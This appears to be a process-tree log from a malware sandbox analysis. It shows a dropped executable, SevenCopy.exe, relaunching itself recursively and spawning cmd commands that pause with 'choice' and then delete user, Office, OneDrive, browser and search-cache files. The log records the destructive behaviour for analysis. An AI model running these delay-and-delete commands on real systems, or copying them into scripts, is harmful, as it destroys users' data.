C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Links\Downloads.lnk"3⤵PID:17980
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\CheckpointRead.xls"3⤵PID:17996
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\ResetPop.pptx"3⤵PID:18020
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:19288
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\BroadcastMsg_1714135627.txt"3⤵PID:18036
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt"3⤵PID:18052
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI473A.txt"3⤵PID:18068
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:19352
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_vcredistMSI475A.txt"3⤵PID:18100
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI473A.txt"3⤵PID:18124
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:19388
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\dd_vcredistUI475A.txt"3⤵PID:18140
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\jawshtml.html"3⤵PID:18164
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Microsoft .NET Framework 4.7.2 Setup_20240426_124230482.html"3⤵PID:18188
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt"3⤵PID:18212
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.VisualElementsManifest.xml"3⤵PID:18244
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\chrome_shutdown_ms.txt"3⤵PID:18260
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txt"3⤵PID:18280
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:19320
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml"3⤵PID:18300
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml"3⤵PID:18424
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\msoia.exe_Rules.xml"3⤵PID:17560
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\office2016setup.exe_Rules.xml"3⤵PID:14688
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml"3⤵PID:1680
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:19260
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\onenote.exe_Rules.xml"3⤵PID:13964
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\winword.exe_Rules.xml"3⤵PID:13960
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\alertIcon.png"3⤵PID:17628
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppBlue.png"3⤵PID:17572
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppErrorBlue.png"3⤵PID:17700
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppErrorWhite.png"3⤵PID:17708
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AppWhite.png"3⤵PID:17716
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\AutoPlayOptIn.png"3⤵PID:17740
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ElevatedAppBlue.png"3⤵PID:17668
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:19268
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ElevatedAppWhite.png"3⤵PID:17588
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Error.png"3⤵PID:17732
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ErrorPage.html"3⤵PID:17612
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\KFMHeroToast.png"3⤵PID:4336
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\KFMLockedFileToast.png"3⤵PID:424
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\KFMScanExclusionToast.png"3⤵PID:17600
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LoadingPage.html"3⤵PID:17616
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDriveLogo.png"3⤵PID:11848
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\QuotaCritical.png"3⤵PID:17888
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\QuotaError.png"3⤵PID:17940
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\QuotaNearing.png"3⤵PID:17952
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\TestSharePage.html"3⤵PID:18032
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ThirdPartyNotices.txt"3⤵PID:18008
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Warning.png"3⤵PID:18064
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-100.png"3⤵PID:18096
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-125.png"3⤵PID:18160
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-150.png"3⤵PID:18208
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-200.png"3⤵PID:18272
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-black_scale-400.png"3⤵PID:18444
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-100.png"3⤵PID:18460
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-125.png"3⤵PID:18476
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-150.png"3⤵PID:18500
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:19276
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-200.png"3⤵PID:18532
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.contrast-white_scale-400.png"3⤵PID:18548
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:19432
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-100.png"3⤵PID:18564
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-125.png"3⤵PID:18592
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-150.png"3⤵PID:18608
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:19240
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 608 -p 18720 -ip 187201⤵PID:17628
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵PID:18532
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:18424
-
C:\Windows\System32\SevenCopy.exeC:\Windows\System32\SevenCopy.exe1⤵
- Executes dropped EXE
PID:19084 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"2⤵PID:14196
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:836
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"2⤵PID:18412
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:12324
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"2⤵PID:17508
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:18988
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"2⤵PID:17996
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:18900
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"2⤵PID:18104
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:17952
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"2⤵PID:9400
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:18628
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"2⤵
- Executes dropped EXE
PID:1988 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"3⤵PID:17628
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:14180
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"3⤵PID:3216
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:17568
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"3⤵PID:14300
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:2380
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"3⤵PID:18468
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:14184
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"3⤵PID:11244
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:1836
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"3⤵PID:18440
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 34⤵PID:916
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"3⤵
- Executes dropped EXE
PID:18376 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"4⤵PID:4056
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵PID:4760
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"4⤵PID:7108
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵PID:10120
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"4⤵PID:10904
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵PID:7280
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"4⤵PID:5324
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵PID:3720
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"4⤵PID:5824
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵PID:3656
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"4⤵PID:4460
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵PID:5612
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"4⤵
- Executes dropped EXE
PID:4504 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"5⤵PID:14348
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵PID:18720
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"5⤵PID:2676
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵PID:1956
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"5⤵PID:14448
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵PID:18296
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"5⤵PID:3580
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵PID:14092
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"5⤵PID:17564
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵PID:14524
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"5⤵PID:18048
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵PID:14204
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"5⤵
- Executes dropped EXE
PID:14116 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"6⤵PID:4412
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 37⤵PID:12836
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"6⤵PID:13836
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 37⤵PID:1044
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"6⤵PID:15572
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 37⤵PID:7340
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"6⤵PID:5232
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 37⤵PID:436
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"6⤵PID:3796
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 37⤵PID:13468
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"6⤵PID:7568
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 37⤵PID:3712
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"6⤵
- Executes dropped EXE
PID:6216 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"7⤵PID:5396
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 38⤵PID:17748
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"7⤵PID:8644
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 38⤵PID:1548
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"7⤵PID:8080
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 38⤵PID:17800
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"7⤵PID:11792
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 38⤵PID:4052
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"7⤵PID:14888
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 38⤵PID:12840
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"7⤵PID:6840
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 38⤵PID:14232
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"7⤵
- Executes dropped EXE
PID:9376 -
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652094676051.txt"8⤵PID:3092
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 39⤵PID:12852
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133587652381093585.txt"8⤵PID:5300
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 39⤵PID:6328
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"8⤵PID:9892
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 39⤵PID:9356
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.0.filtertrie.intermediate.txt"8⤵PID:4940
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 39⤵PID:9820
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.1.filtertrie.intermediate.txt"8⤵PID:4768
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 39⤵PID:9940
-
C:\Windows\System32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{83fdc543-a295-4bc1-b2e9-229140a82d82}\0.2.filtertrie.intermediate.txt"8⤵PID:15232
-
